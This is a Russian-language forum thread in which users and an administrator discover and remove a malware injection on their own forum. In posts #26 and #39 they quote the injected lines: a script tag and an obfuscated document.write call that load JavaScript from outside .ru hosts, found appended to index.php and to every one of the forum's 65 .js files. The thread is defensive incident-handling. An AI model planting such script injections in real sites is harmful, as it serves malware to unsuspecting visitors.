Вирусная атака

#21

Сайт стал грузиться дольше. Напрягает

#22

у меня ничего не тормозит. чистим многократно, меняем браузер, танцуем с бубном. вплоть до просветления.

#23

на главной /forum/index.php:

скачал страничку при помощи wget-a поэтому никаких кэшей причастно быть не может.

а вот это зря.

#24

Ну нет там этих строчек, только что проверил!
вот какой файл по этому же адресу скачиваю я:[attachment=0]index.zip[/attachment]

#25

ну это исходник, что бы найти откуда ноги надо смотреть ещё common и includes/functions_display. по-вашему антивирусы всех отписавшихся тоже видят то, чего нет?

а вот такая штука скачивается у меня:

#26

Специально поставил Хром. Он девственно чист.
На index.php
в 432 и 433 строке:

<script type="text/javascript" src="http://mealpoets.ru/File_Extension.js"></script> 
<!--05bbbc2c0b5b0cffe8ab5fd5b189807c-->

Прист, ты из под админки заходишь? А если выйти из учётки и зайти гостем?

#27

Народ, зараза останется как напоминание что, НОД32 гавно или же её когда-нибудь уберут?

#28

+1 к вышенаписанному.

#29

все подчистил, должно перестать ругаться...
просьба затестить

#30

Ура. Работает.
Теперь на всякий случай пароль сменю ))

#31

подтверждаю, теперь чистота smile

#32

Почему никто не жалуется? У меня и на работе, и дома нод ругается на все страницы форума. Больше ни у кого такого нет?

#33

не замечено.

#34

Блин! На каждой странице! Нод визжит как резаный!

#35

что визжит то? скриншот дай.

#36

да не, вроде чисто всё...

хм... но опера только что викинула предупреждение о том что этот сайт опасен

#37

Ну как бы вот скрин.
iskluchenie.front.ru/others/vir.GIF
Эта картина наблюдается около недели. Выкидывает по 5 таких сообщений на каждую открываемую страницу форума на двух машинах: дома и на работе.
Только что почистил кеш оперы и проверился на вирусы. На самой машине все ОК.
Может это НОД какой-то из скриптов движка форума ошибочно за вирус принимает? Почему тогда только у меня?

#38

Батенька, это у вас случаем не 2.7 ?
Полагаю что данный софт в настоящее время не эффективен.

#39

Действительно, во всех файлах форума с расширением .js (а таких 65 шт) присутствует в конце код:

document.write('<sc'+'ript type="text/javascript" src="http://starvingarctic.ru/File_Extension.js"></scri'+'pt>');

Это не новый вирус, а последствия все того-же что и был, просто тогда я по этой строчке его не искал.

Все подчищено, пробуйте...
Не исключено, что еще какая-нибудь бяка в других файлах сидит.

Monchik, большое спасибо за информацию!

[color=#008000]

Темы про вирусы объединил.

[/color]